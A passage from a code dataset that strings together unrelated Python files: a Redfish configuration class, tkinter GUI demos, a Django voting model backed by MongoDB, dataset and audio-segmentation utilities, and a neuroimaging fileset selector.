pivot = partition(left, right, pivot)\n if k == pivot:\n return array[k]\n elif k < pivot:\n return quickSelect(left, pivot - 1, k)\n else:\n return quickSelect(pivot + 1, right, k)\n\nprint(quickSelect(0, len(array) - 1, 5))\n","sub_path":"Algorithms/Sequences/Quick Select/QuickSelect.py","file_name":"QuickSelect.py","file_ext":"py","file_size_in_byte":990,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"300851423","text":"#\n# Do NOT modify or remove this copyright and license\n#\n# Copyright (c) 2019 Seagate Technology LLC and/or its Affiliates, All Rights Reserved\n#\n# This software is subject to the terms of the MIT License. If a copy of the license was\n# not distributed with this file, you can obtain one at https://opensource.org/licenses/MIT.\n#\n# ******************************************************************************************\n#\n# redfishConfig.py - Redfish API global configuration data. \n#\n# ******************************************************************************************\n#\n\nimport json\nfrom collections import OrderedDict\nfrom core.trace import TraceLevel, Trace\nfrom version import __version__\n\n################################################################################\n# RedfishConfig\n#\n# All JSON configuration parameters are mapped directly to commands. For example:\n# !mcip will update JSON { \"mcip\" : \"\" }\n# !username will update JSON { \"username\" : \"\" }\n# !password will update JSON { \"password\" : \"\" }\n#\n# See dictionary initilization below for mapping.\n#\n################################################################################\nclass RedfishConfig:\n\n dictionary = OrderedDict()\n sessionKey = None\n sessionValid = False\n\n @classmethod\n def __init__(self, filename):\n\n #\n # Add new configuration settings here, they will be automatically written to the JSON file.\n #\n self.dictionary['configurationfile'] = filename\n self.dictionary['version'] = __version__\n self.dictionary['http'] = ''\n self.dictionary['mcip'] = ''\n self.dictionary['username'] = ''\n self.dictionary['password'] = ''\n self.dictionary['annotate'] = 'yes'\n self.dictionary['urltimeout'] = 10\n self.dictionary['linktestdelay'] = 0\n self.dictionary['dumphttpdata'] = 0\n self.dictionary['dumpjsondata'] = 0\n self.dictionary['dumppostdata'] = 0\n self.dictionary['trace'] = int(TraceLevel.INFO)\n self.dictionary['brand'] = 'systems'\n self.dictionary['showelapsed'] = False\n self.dictionary['certificatecheck'] = False\n self.dictionary['entertoexit'] = False\n \n Trace.log(TraceLevel.DEBUG, '++ Initilize Redfish API configuration from ({})...'.format(filename))\n\n currentvalue = 0\n \n with open(filename, \"r\") as read_file:\n settings = json.load(read_file)\n\n for key in self.dictionary:\n if key in settings:\n self.dictionary[key] = settings[key]\n Trace.log(TraceLevel.DEBUG, ' -- {0: <8} : {1}'.format(key, self.dictionary[key]))\n\n self.update_trace('trace', currentvalue, self.dictionary['trace'])\n self.dictionary['version'] = __version__\n self.save()\n\n @classmethod\n def get_value(self, key):\n return self.dictionary[key]\n\n @classmethod\n def get_int(self, key):\n try:\n value = int(self.dictionary[key])\n except:\n value = -1\n return value\n\n @classmethod\n def get_bool(self, key):\n results = False\n try:\n if self.dictionary[key] == 'True':\n results = True\n else:\n value = int(self.dictionary[key])\n if (value == 1):\n results = True\n except:\n results = False\n return results\n\n @classmethod\n def get_urltimeout(self):\n return int(self.get_value('urltimeout'))\n\n @classmethod\n def display(self):\n \n print(' >> configuration values:')\n for key in self.dictionary:\n print(' -- {0: <20} : {1}'.format(key, self.dictionary[key]))\n\n @classmethod\n def update_trace(self, parameter, currentvalue, value):\n \n Trace.log(TraceLevel.DEBUG, ' ++ CFG: update_trace \\'{}\\' ({}) to ({})'.format(parameter, currentvalue, value))\n parameter = parameter.replace('!', '')\n if (parameter == 'trace' and currentvalue != value):\n Trace.setlevel(int(value))\n Trace.log(TraceLevel.DEBUG, ' ++ CFG: \\'{}\\' updated from ({}) to ({})'.format(parameter, currentvalue, value))\n\n @classmethod\n def save(self):\n configurationfile = self.dictionary['configurationfile']\n Trace.log(TraceLevel.VERBOSE, ' -- Save Redfish API configuration to ({})'.format(configurationfile))\n try:\n with open(configurationfile, \"w\") as write_file:\n json.dump(self.dictionary, write_file, indent=4)\n except:\n Trace.log(TraceLevel.ERROR, ' -- Unable to save configuration to ({}) - check spelling'.format(configurationfile))\n pass\n\n @classmethod\n def update(self, parameter, value):\n \n updated = False\n configurationfile = self.dictionary['configurationfile']\n\n Trace.log(TraceLevel.VERBOSE, ' -- Update Redfish API configuration parameter ({}), value ({}), config file ({})'.format(parameter, value, configurationfile))\n\n with open(configurationfile, \"r\") as read_file:\n settings = json.load(read_file)\n\n try:\n currentvalue = self.dictionary[parameter]\n self.dictionary[parameter] = settings[parameter] = value\n with open(configurationfile, \"w\") as write_file:\n json.dump(settings, write_file, indent=4)\n self.update_trace(parameter, currentvalue, value)\n # Update the trace level as needed\n if (parameter == 'trace'):\n Trace.setlevel(value)\n updated = True\n except:\n Trace.log(TraceLevel.ERROR, ' -- Unable to update parameter ({}) - check spelling'.format(parameter))\n pass\n\n return (updated)\n\n @classmethod\n def execute(self, command):\n \n command = command.strip()\n \n if (command[0] == '!'):\n if (command == '!version'):\n Trace.log(TraceLevel.INFO, ' ++ CFG: Version ({})'.format(self.dictionary['version']))\n elif (command == '!dump'):\n self.display()\n \n else:\n words = command.split(' ')\n if (len(words) > 1):\n parameter = words[0].replace('!', '')\n if (self.update(parameter, words[1])):\n Trace.log(TraceLevel.INFO, ' ++ CFG: \\'{}\\' set to ({})'.format(parameter, self.dictionary[parameter]))\n\n\n","sub_path":"core/redfishConfig.py","file_name":"redfishConfig.py","file_ext":"py","file_size_in_byte":6548,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"344033037","text":"from tkinter import *\nfrom tkinter import ttk\nfrom tkinter import messagebox # importing messagebox\n\n\nwindow=Tk()\ndef show_user_info():\n messagebox.showinfo(\"Accout control\",\"Your accout successfully created.\")\ndef show_user_error():\n messagebox.showerror(\"Accout control\",\"Sorry your account can't be created!\")\ndef show_user_warn():\n messagebox.showwarning(\"Account control\",\"Please enter correct information !\")\ndef close_window():\n user_input=messagebox.askquestion(\"Program exit !\",\"Do you want to exit ?\")\n # print(user_input)\n #if(user_input=='no'):\n # window.quit()\n\ndef exit_window():\n exit_input=messagebox.askyesnocancel(\"Program exit !\",\"Do you want to exit ?\")\n print(exit_input)\n if exit_input:\n window.quit()\n\nwindow.geometry(\"300x200\")\nwindow.title(\"Message!\")\nbutton1=Button(window,text=\"sub_info\",fg=\"green\",command=show_user_info).grid(row=0,column=0,columnspan=1)\nbutton2=Button(window,text=\"sub_error\",fg=\"green\",command=show_user_error).grid(row=0,column=1)\nbutton3=Button(window,text=\"sub_warn\",fg=\"green\",command=show_user_warn).grid(row=0,column=2)\nbutton4=Button(window,text=\"Close\",fg=\"green\",command=close_window).grid(row=0,column=3)\nbutton4=Button(window,text=\"exit\",fg=\"green\",command=exit_window).grid(row=0,column=4)\n\nwindow.mainloop()","sub_path":"message box.py","file_name":"message box.py","file_ext":"py","file_size_in_byte":1308,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"422316938","text":"from deeppavlov.core.registrable import Registrable\nimport random\n\n\nclass DatasetReader:\n \"\"\"\n A ``DatasetReader`` reads data from some location and constructs a dataset.\n \"\"\"\n @staticmethod\n def read(data_path: str, *args, **kwargs):\n \"\"\"\n Read a file from a path and returns data as list with training instances.\n \"\"\"\n raise NotImplementedError\n\n\nclass DatasetProvider(Registrable):\n def split(self, *args, **kwargs):\n pass\n\n def __init__(self, data, seed, *args, **kwargs):\n r\"\"\" Dataset takes a dict with fields 'train', 'test', 'valid'. A list of samples (pairs x, y) is stored\n in each field.\n Args:\n data: list of (x, y) pairs. Each pair is a sample from the dataset. x as well as y can be a tuple\n of different input features.\n seed (int): random seed for data shuffling. Defaults to None\n \"\"\"\n\n rs = random.getstate()\n random.seed(seed)\n self.random_state = random.getstate()\n random.setstate(rs)\n\n self.train = data.get('train', [])\n self.valid = data.get('valid', [])\n self.test = data.get('test', [])\n self.split(*args, **kwargs)\n self.data = {\n 'train': self.train,\n 'valid': self.valid,\n 'test': self.test,\n 'all': self.train + self.test + self.valid\n }\n\n def batch_generator(self, batch_size, data_type = 'train'):\n r\"\"\"This function returns a generator, which serves for generation of raw (no preprocessing such as tokenization)\n batches\n Args:\n batch_size (int): number of samples in batch\n data_type (str): can be either 'train', 'test', or 'valid'\n Returns:\n batch_gen (Generator): a generator, that iterates through the part (defined by data_type) of the dataset\n \"\"\"\n if batch_size == -1:\n yield from self.iter_all(data_type)\n else:\n data = self.data[data_type]\n data_len = len(data)\n order = list(range(data_len))\n\n rs = random.getstate()\n random.setstate(self.random_state)\n random.shuffle(order)\n self.random_state = random.getstate()\n random.setstate(rs)\n\n for i in range((data_len - 1) // batch_size + 1):\n yield list(zip(*[data[o] for o in order[i*batch_size:(i+1)*batch_size]]))\n\n def iter_all(self, data_type='train'):\n r\"\"\"Iterate through all data. It can be used for building dictionary or\n Args:\n data_type (str): can be either 'train', 'test', or 'valid'\n Returns:\n samples_gen: a generator, that iterates through the all samples in the selected data type of the dataset\n \"\"\"\n data = self.data[data_type]\n for sample in data:\n yield (sample,)","sub_path":"deeppavlov/core/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":2899,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"165043275","text":"import typing as tp\nimport numpy as np\nimport astropy.units as u\n\nfrom kgpy import optics\nfrom kgpy.optics.zemax import ZOSAPI\n\nfrom . import util\n\nzemax_wavelength_units = u.um\n\n\ndef add_to_zemax_system(\n zemax_system: ZOSAPI.IOpticalSystem,\n wavelengths: 'optics.system.Wavelengths',\n configuration_shape: tp.Tuple[int],\n):\n \n while zemax_system.SystemData.Wavelengths.NumberOfWavelengths < wavelengths.num_per_config:\n zemax_system.SystemData.Wavelengths.AddWavelength(1, 1)\n \n csh = configuration_shape\n \n op_wave = ZOSAPI.Editors.MCE.MultiConfigOperandType.WAVE\n op_weight = ZOSAPI.Editors.MCE.MultiConfigOperandType.WLWT\n\n unit_wave = u.um\n unit_weight = u.dimensionless_unscaled\n\n sh = csh + (wavelengths.num_per_config,)\n\n wavls = np.broadcast_to(wavelengths.values, sh) * wavelengths.values.unit\n weights = np.broadcast_to(wavelengths.weights, sh) * wavelengths.weights.unit\n\n for w in range(wavelengths.num_per_config):\n\n util.set_float(zemax_system, wavls[..., w], csh, op_wave, unit_wave, w)\n\n util.set_float(zemax_system, weights[..., w], csh, op_weight, unit_weight, w)\n\n","sub_path":"kgpy/optics/zemax/system/wavelengths.py","file_name":"wavelengths.py","file_ext":"py","file_size_in_byte":1166,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"10329204","text":"import enum\nimport json\nimport traceback\nfrom typing import List, Union\n\nimport bcrypt\nimport jsonschema\nfrom bson import ObjectId\nfrom django.conf import settings\nfrom django.db import models\nfrom django.db.models.signals import pre_delete\nfrom django.dispatch import receiver\nfrom pymongo.database import Database\nfrom rest_framework.exceptions import ValidationError\n\nfrom common.session import get_or_create_session_id\nfrom users.models import User\nfrom votes import voter\nfrom votes.validators import validate_tags\nfrom votes.voting_results_of_question_generator import generate_voting_results_of_question\n\nquestions_schema = json.loads(open('./votes/questions_schema.json', 'r').read())\nanswers_schema = json.loads(open('./votes/answers_schema.json', 'r').read())\n\n\nclass Vote(models.Model):\n creator = models.ForeignKey(to=User, on_delete=models.PROTECT, null=True, blank=False)\n title = models.CharField(max_length=256, null=False, blank=False)\n password = models.CharField(max_length=60, null=False, blank=False)\n description = models.TextField(max_length=512, blank=False, null=False)\n tags = models.CharField(max_length=(settings.MAX_TAG_LENGTH + 1)*settings.MAX_TAG_COUNT, null=False, blank=False, validators=[validate_tags])\n __questions_id = models.CharField(max_length=24, blank=False, null=False, name='questions_id')\n __voting_results_id = models.CharField(max_length=24, blank=False, null=False, name='voting_results_id')\n closing_at = models.DateTimeField(blank=False, null=True)\n created_at = models.DateTimeField(auto_now_add=True, null=False)\n updated_at = models.DateTimeField(auto_now_add=True, null=False)\n vote_count = models.IntegerField(null=False, default=0)\n\n def set_password(self, password: str):\n self.password = bcrypt.hashpw(password.encode(\"UTF-8\"), settings.BCRYPT_SALT).decode(\"utf-8\")\n\n def check_password(self, password: str):\n return bcrypt.checkpw(password.encode(\"UTF-8\"), self.password.encode(\"UTF-8\"))\n\n def set_questions(self, questions: List[dict]):\n '''\n 質問を設定します。既に作成された質問はすべて置き換えられ、今までの質問への回答も上書きされ初期化されます。\n :param questions: 質問のリスト\n '''\n mongodb: Database = settings.MONGODB_CONNECTOR.connect_and_get_db()\n\n # 質問のDictを作成\n questions_json = {'_': questions}\n\n # 質問の答えを格納するDictの作成\n voting_results = [generate_voting_results_of_question(q) for q in questions]\n voting_results_json = {'_': voting_results}\n\n # 質問をデータベースに保存\n questions_id = mongodb.questions_list.update_one(\n {\"_id\": ObjectId(self.questions_id) if self.questions_id else ObjectId()},\n {'$set': questions_json},\n upsert=True\n ).upserted_id\n self.questions_id = questions_id\n\n # 質問の答えを格納するDictをデータベースに保存\n voting_results_id = mongodb.voting_results_list.update_one(\n {\"_id\": ObjectId(self.voting_results_id) if self.voting_results_id else ObjectId()},\n {'$set': voting_results_json},\n upsert=True\n ).upserted_id\n self.voting_results_id = voting_results_id\n\n def get_questions(self):\n mongodb: Database = settings.MONGODB_CONNECTOR.connect_and_get_db()\n questions: Union[dict, None] = mongodb.questions_list.find_one({\"_id\": ObjectId(self.questions_id)})\n\n return questions['_']\n\n def get_voting_results(self):\n mongodb: Database = settings.MONGODB_CONNECTOR.connect_and_get_db()\n voting_results: Union[dict, None] = mongodb.voting_results_list.find_one({\"_id\": ObjectId(self.voting_results_id)})\n\n return voting_results['_']\n\n def update_voting_results(self, voting_results: List[any]):\n mongodb: Database = settings.MONGODB_CONNECTOR.connect_and_get_db()\n\n mongodb.voting_results_list.update_one(\n {\"_id\": ObjectId(self.voting_results_id)},\n {'$set': {'_': voting_results}},\n upsert=True\n )\n\n def vote(self, answers: List[any]):\n voting_results = self.get_voting_results()\n voter.vote(voting_results, answers)\n self.update_voting_results(voting_results)\n self.vote_count += 1\n\n @classmethod\n def validate_questions(cls, questions: List[dict]):\n questions_str = str(questions).replace(\"'\", '\"')\n questions_json = json.loads(f'{{\"_\":{questions_str}}}')\n try:\n jsonschema.validate(\n instance=questions_json,\n schema=questions_schema\n )\n except:\n raise ValidationError('Invalid questions structure.')\n\n @classmethod\n def validate_answers(cls, answers: List[any]):\n answers_str = str(answers).replace(\"'\", '\"')\n answers_json = json.loads(f'{{\"_\":{answers_str}}}')\n try:\n jsonschema.validate(\n instance=answers_json,\n schema=answers_schema\n )\n except:\n raise ValidationError('Invalid answers structure.')\n\n def is_voted_by(self, request):\n if request.user.is_anonymous:\n if VotingHistory.objects.filter(vote=self,\n anonymous_user_session_id=get_or_create_session_id(request)).exists():\n return True\n else:\n if VotingHistory.objects.filter(vote=self, user=request.user).exists():\n return True\n return False\n\nclass VotingHistory(models.Model):\n vote = models.ForeignKey(to=Vote, on_delete=models.CASCADE)\n user = models.ForeignKey(to=User, on_delete=models.PROTECT, null=True)\n anonymous_user_session_id = models.CharField(max_length=12, null=True, blank=False)\n\n\n@receiver(pre_delete, sender=Vote)\ndef post_delete(sender, instance, **kwargs):\n mongodb: Database = settings.MONGODB_CONNECTOR.connect_and_get_db()\n try:\n mongodb.questions_list.delete_one({'_id': ObjectId(instance.questions_id)})\n except:\n traceback.print_exc()\n try:\n mongodb.voting_results_list.delete_one({'_id': ObjectId(instance.voting_results_id)})\n except:\n traceback.print_exc()\n","sub_path":"votes/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":6324,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"603092489","text":"from tkinter import *\n\nroot=Tk()\n\nroot.geometry(\"1000x600\")\n\n\"\"\"Important label options\ntext=add the text\nbg=background you can use bg or background\nfg=foreground\nfont=sets the font\npadx=x padding\npady=y padding\nrelief=border styling -SUNKEN, RAISED, GROOVE, RIDGE\"\"\"\n\ntext_label=Label(text='''Hellot this is vishal patil.\\nAnd this is my home where is live.\\nWhat is the cost of lies?''', \n bg='red',\n fg='blue',\n pady=33,\n padx=30,\n font=(\"comicsansms\",19,'bold'), #font=\"comicsansms 19 bold\"\n borderwidth=5,\n relief=SUNKEN\n )\n'''\nIMPORTANT PACK OPTIONS\nanchor=nw nw=north west and ne=north east & anchor sets the location\nside=top,bottom,left,right\nfill=\npadx\npady\n'''\n# text_label.pack(side='bottom',anchor='sw',fill=X)\ntext_label.pack(padx=20,pady=200)\nroot.mainloop()","sub_path":"Tkinter Course/Attribute of label and pack.py","file_name":"Attribute of label and pack.py","file_ext":"py","file_size_in_byte":898,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"197673749","text":"from pydub import AudioSegment\nimport os\nimport re\n\n\ndef segmentation(name):\n sound = AudioSegment.from_wav(name)\n x = sound.duration_seconds\n start = 0\n end = 0\n count = 0\n l = {}\n print(os.listdir())\n temp = \"./temp\"\n os.mkdir(temp)\n os.chdir(temp)\n print(os.getcwd())\n namesound = re.findall(r\"([0-9a-zA-Z\\-\\#\\@\\+\\=_?:.,\\s]+)\\.\\w+$\", name)[0]\n timeborder = 60 #время в секундах\n for i in range(1, int(x/timeborder)+1):\n count += 1\n start = end #начало отрезка\n end = i*timeborder*1000 #конец отрезка\n s = sound[:]\n track = s[start:end]\n l[count] = [start, end]\n track.export(namesound+'{0}.wav'.format(i), format=\"wav\")\n if count == int(x/timeborder):\n l[count+1] = [end, x*1000]\n track = s[end:x*1000]\n track.export(namesound+str(count+1)+'.wav', format=\"wav\")\n return l\n\n","sub_path":"segment.py","file_name":"segment.py","file_ext":"py","file_size_in_byte":949,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"300841616","text":"#@Quera\r\nwhile True:\r\n\ta = input().split()\r\n\tif a[0]==\"0000\" and a[1]==\"0000\" and a[2]==\"0000\" and a[3]==\"0000\":\r\n\t\tbreak\r\n\tl = [0]\r\n\tfor b in a:\r\n\t\tfor c in b:\r\n\t\t\tl.append(int(c))\r\n\tsum = 0\r\n\tfor i in range(1,len(l)):\r\n\t\tif i%2 == 1:\r\n\t\t\ts = l[i] * 2\r\n\t\t\tif s>9:\r\n\t\t\t\ts -= 9\r\n\t\t\tsum += s\r\n\t\telse:\r\n\t\t\tsum += l[i]\r\n\tif sum%10 == 0 :\r\n\t\tprint(\"Yes\")\r\n\telse :\r\n\t\tprint(\"No\")\r\n","sub_path":"BankCardVerifier.py","file_name":"BankCardVerifier.py","file_ext":"py","file_size_in_byte":375,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"541644480","text":"import numpy as np\n##生成正态分布\n\nclass variation:\n def __init__(self,name,mean,std,size):\n self.name = name\n self.mean = mean\n self.std = std\n self.size = size\n self.data = np.random.normal(mean, std, size)\n self.relmean = np.mean(self.data)\n self.relstd = np.std(self.data)\n self.relmedian = np.median(self.data)\n''' def __init__(self,fileName,name,size):\n f = open(fileName,'r')\n self.data=[]\n for line in f:\n self.data += [float(line)]\n self.name = name \n self.size = size\n self.relmean = np.mean(self.data)\n self.relstd = np.std(self.data)\n self.relmedian = np.median(self.data)\n'''\ndef corrcoef(x,y):\n return np.corrcoef(x.data,y.data)\n\n\ndef write2file(data,fileName):\n f = open(fileName,'w')\n for d in data:\n f.write(str(d) + \"\\n\")\n f.close()\n\ndef column_stack(row1,row2):\n '''\n ##使成为二维数组\n '''\n return np.column_stack((row1.data, row2.data))\n\n\n\n'''\ntoxe = variation('toxe',2.73e-9, 1.0e-9, 500)\nprint(toxe.name)\nprint(toxe.mean)\nprint(toxe.std)\nprint(toxe.size)\nprint(toxe.data)\n\n\nmeanToxe = 2.73e-9\n\nstdToxe = 1.0e-9\n\nmeanH0 = 4.0000e-06\nstdH0 = 1.0e-6\n\ndataWriteTofile = 'inputDATA.dat'\n\ntoxe = np.random.normal(meanToxe, stdToxe, 500)\nh0 = np.random.normal(meanH0, stdH0, 500)\n\n\nf = open(dataWriteTofile.'w')\n\n##使成为二维数组\nz = np.column_stack((toxe, h0))\nprint(z)\n##输出toxe均值\nprint(np.mean(z[:, 0]))\n##输出toxe中位数\nprint(np.median(z[:, 0]))\n##输出两组数据相关系数\nprint(np.corrcoef(z[:, 0 ], z[:, 1]))\n##输出toxe标准差\nprint(np.std(z[:, 0]))\n\n\n'''\n","sub_path":"mc200x200pyRandon/mc_data.py","file_name":"mc_data.py","file_ext":"py","file_size_in_byte":1699,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"556458214","text":"from builtins import str\nfrom builtins import object\nimport re\nfrom arcana.utils import ExitStack\nfrom copy import copy\nfrom itertools import chain\nfrom arcana.exception import (\n ArcanaUsageError, ArcanaFilesetSelectorError)\nfrom .base import BaseFileset, BaseField\nfrom .collection import FilesetCollection, FieldCollection\n\n\nclass BaseMatch(object):\n \"\"\"\n Base class for Fileset and Field Match classes\n \"\"\"\n\n def __init__(self, pattern, is_regex, order, from_study,\n repository=None, study_=None, collection_=None):\n self._pattern = pattern\n self._is_regex = is_regex\n self._order = order\n self._from_study = from_study\n self._repository = repository\n # study_ and collection_ are not intended to be provided to __init__\n # except when recreating when using initkwargs\n self._study = study_\n self._collection = collection_\n\n def __eq__(self, other):\n return (self.from_study == other.from_study and\n self.pattern == other.pattern and\n self.is_regex == other.is_regex and\n self.order == other.order and\n self.repository == other.repository)\n\n def __hash__(self):\n return (hash(self.from_study) ^\n hash(self.pattern) ^\n hash(self.is_regex) ^\n hash(self.order) ^\n hash(self.repository))\n\n @property\n def pattern(self):\n return self._pattern\n\n @property\n def derived(self):\n return self._from_study is not None\n\n @property\n def from_study(self):\n return self._from_study\n\n @property\n def repository(self):\n return self._repository\n\n @property\n def collection(self):\n if self._collection is None:\n raise ArcanaUsageError(\n \"{} has not been bound to a study\".format(self))\n return self._collection\n\n @property\n def is_regex(self):\n return self._is_regex\n\n @property\n def order(self):\n return self._order\n\n def bind(self, study, **kwargs):\n if self._study == study:\n bound = self\n else:\n # Use the default study repository if not explicitly\n # provided to match\n if self._repository is None:\n tree = study.tree\n else:\n tree = self._repository.cached_tree(\n subject_ids=study.subject_ids,\n visit_ids=study.visit_ids)\n # Match against tree\n bound = copy(self)\n bound._study = study\n bound._collection = self.match(tree, **kwargs)\n return bound\n\n @property\n def prefixed_name(self):\n return self.name\n\n def basename(self, **kwargs):\n if not self.is_regex:\n basename = self.pattern\n else:\n basename = self.match(**kwargs).name\n return basename\n\n def match(self, tree, **kwargs):\n # Run the match against the tree\n if self.frequency == 'per_session':\n nodes = chain(*(s.sessions for s in tree.subjects))\n elif self.frequency == 'per_subject':\n nodes = tree.subjects\n elif self.frequency == 'per_visit':\n nodes = tree.visits\n elif self.frequency == 'per_study':\n nodes = [tree]\n else:\n assert False, \"Unrecognised frequency '{}'\".format(\n self.frequency)\n return self.CollectionClass(\n self.name, (self._match_node(n, **kwargs)\n for n in nodes),\n frequency=self.frequency,\n **self._specific_collection_kwargs)\n\n def _match_node(self, node, **kwargs):\n # Get names matching pattern\n matches = self._filtered_matches(node, **kwargs)\n # Filter matches by study name\n matches = [d for d in matches\n if d.from_study == self.from_study]\n # Select the fileset from the matches\n if self.order is not None:\n try:\n match = matches[self.order]\n except IndexError:\n raise ArcanaFilesetSelectorError(\n \"Did not find {} filesets names matching pattern {}\"\n \" (found {}) in {}\".format(self.order, self.pattern,\n len(matches), node))\n elif len(matches) == 1:\n match = matches[0]\n elif matches:\n raise ArcanaFilesetSelectorError(\n \"Found multiple matches for {} pattern in {} ({})\"\n .format(self.pattern, node,\n ', '.join(str(m) for m in matches)))\n else:\n raise ArcanaFilesetSelectorError(\n \"Did not find any matches for {} pattern in {} \"\n \"(found {})\"\n .format(self.pattern, node,\n ', '.join(str(d) for d in node.filesets)))\n return match\n\n def initkwargs(self):\n dct = {}\n dct['from_study'] = self.from_study\n dct['pattern'] = self.pattern\n dct['order'] = self.order\n dct['is_regex'] = self.is_regex\n dct['study_'] = self._study\n dct['collection_'] = self._collection\n return dct\n\n\nclass FilesetSelector(BaseMatch, BaseFileset):\n \"\"\"\n A pattern that describes a single fileset (typically acquired\n rather than generated but not necessarily) within each session.\n\n Parameters\n ----------\n name : str\n The name of the fileset, typically left None and set in Study\n format : FileFormat\n The file format used to store the fileset. Can be one of the\n recognised formats\n pattern : str\n A regex pattern to match the fileset names with. Must match\n one and only one fileset per . If None, the name\n is used instead.\n is_regex : bool\n Flags whether the pattern is a regular expression or not\n frequency : str\n One of 'per_session', 'per_subject', 'per_visit' and 'per_study',\n specifying whether the fileset is present for each session, subject,\n visit or project.\n id : int | None\n To be used to distinguish multiple filesets that match the\n pattern in the same session. The ID of the fileset within the\n session.\n order : int | None\n To be used to distinguish multiple filesets that match the\n pattern in the same session. The order of the fileset within the\n session. Based on the scan ID but is more robust to small\n changes to the IDs within the session if for example there are\n two scans of the same type taken before and after a task.\n dicom_tags : dct(str | str)\n To be used to distinguish multiple filesets that match the\n pattern in the same session. The provided DICOM values dicom\n header values must match exactly.\n from_study : str\n The name of the study that generated the derived fileset to match.\n Is used to determine the location of the filesets in the\n repository as the derived filesets and fields are grouped by\n the name of the study that generated them.\n repository : BaseRepository | None\n The repository to draw the matches from, if not the main repository\n that is used to store the products of the current study.\n \"\"\"\n\n is_spec = False\n CollectionClass = FilesetCollection\n\n def __init__(self, name, format, pattern=None, # @ReservedAssignment @IgnorePep8\n frequency='per_session', id=None, # @ReservedAssignment @IgnorePep8\n order=None, dicom_tags=None, is_regex=False,\n from_study=None, repository=None, study_=None,\n collection_=None):\n if pattern is None and id is None:\n raise ArcanaUsageError(\n \"Either 'pattern' or 'id' need to be provided to \"\n \"FilesetSelector constructor\")\n BaseFileset.__init__(self, name, format, frequency)\n BaseMatch.__init__(self, pattern, is_regex, order,\n from_study, repository, study_, collection_)\n if dicom_tags is not None and format.name != 'dicom':\n raise ArcanaUsageError(\n \"Cannot use 'dicom_tags' kwarg with non-DICOM \"\n \"format ({})\".format(format))\n self._dicom_tags = dicom_tags\n if order is not None and id is not None:\n raise ArcanaUsageError(\n \"Cannot provide both 'order' and 'id' to a fileset\"\n \"match\")\n self._id = str(id) if id is not None else id\n\n def __eq__(self, other):\n return (BaseFileset.__eq__(self, other) and\n BaseMatch.__eq__(self, other) and\n self.dicom_tags == other.dicom_tags and\n self.id == other.id)\n\n def __hash__(self):\n return (BaseFileset.__hash__(self) ^\n BaseMatch.__hash__(self) ^\n hash(self.dicom_tags) ^\n hash(self.id))\n\n def initkwargs(self):\n dct = BaseFileset.initkwargs(self)\n dct.update(BaseMatch.initkwargs(self))\n dct['dicom_tags'] = self.dicom_tags\n dct['id'] = self.id\n return dct\n\n def __repr__(self):\n return (\"{}(name='{}', format={}, frequency={}, pattern={}, \"\n \"is_regex={}, order={}, id={}, dicom_tags={}, \"\n \"from_study={})\"\n .format(self.__class__.__name__, self.name, self.format,\n self.frequency, self._pattern, self.is_regex,\n self.order, self.id, self.dicom_tags,\n self._from_study))\n\n @property\n def id(self):\n return self._id\n\n def bind(self, study, **kwargs):\n with ExitStack() as stack:\n # If dicom tags are used to match against then a connection\n # to the repository may be required to query them.\n if self.dicom_tags is not None and self._study != study:\n stack.enter_context(study.repository)\n return super(FilesetSelector, self).bind(study, **kwargs)\n\n @property\n def dicom_tags(self):\n return self._dicom_tags\n\n def _filtered_matches(self, node):\n if self.pattern is not None:\n if self.is_regex:\n pattern_re = re.compile(self.pattern)\n matches = [d for d in node.filesets\n if pattern_re.match(d.name)]\n else:\n matches = [d for d in node.filesets\n if d.name == self.pattern]\n else:\n matches = list(node.filesets)\n if not matches:\n raise ArcanaFilesetSelectorError(\n \"No fileset names in {}:{} match '{}' pattern, found: {}\"\n .format(node.subject_id, node.visit_id, self.pattern,\n ', '.join(d.name for d in node.filesets)))\n if self.id is not None:\n filtered = [d for d in matches if d.id == self.id]\n if not filtered:\n raise ArcanaFilesetSelectorError(\n \"Did not find filesets names matching pattern {} \"\n \"with an id of {} (found {}) in {}\".format(\n self.pattern, self.id,\n ', '.join(str(m) for m in matches), node))\n matches = filtered\n # Filter matches by dicom tags\n if self.dicom_tags is not None:\n filtered = []\n for fileset in matches:\n values = fileset.dicom_values(\n list(self.dicom_tags.keys()))\n if self.dicom_tags == values:\n filtered.append(fileset)\n if not filtered:\n raise ArcanaFilesetSelectorError(\n \"Did not find filesets names matching pattern {}\"\n \"that matched DICOM tags {} (found {}) in {}\"\n .format(self.pattern, self.dicom_tags,\n ', '.join(str(m) for m in matches), node))\n matches = filtered\n return matches\n\n @property\n def _specific_collection_kwargs(self):\n return {'format': self.format}\n\n\nclass FieldSelector(BaseMatch, BaseField):\n \"\"\"\n A pattern that matches a single field (typically acquired rather than\n generated but not necessarily) in each session.\n\n Parameters\n ----------\n name : str\n The name of the fileset\n dtype : type\n The datatype of the value. Can be one of (float, int, str)\n pattern : str\n A regex pattern to match the field names with. Must match\n one and only one fileset per . If None, the name\n is used instead.\n is_regex : bool\n Flags whether the pattern is a regular expression or not\n frequency : str\n One of 'per_session', 'per_subject', 'per_visit' and 'per_study',\n specifying whether the fileset is present for each session, subject,\n visit or project.\n order : int | None\n To be used to distinguish multiple filesets that match the\n pattern in the same session. The order of the fileset within the\n session. Based on the scan ID but is more robust to small\n changes to the IDs within the session if for example there are\n two scans of the same type taken before and after a task.\n from_study : str\n The name of the study that generated the derived field to match.\n Is used to determine the location of the fields in the\n repository as the derived filesets and fields are grouped by\n the name of the study that generated them.\n repository : BaseRepository | None\n The repository to draw the matches from, if not the main repository\n that is used to store the products of the current study.\n \"\"\"\n\n is_spec = False\n 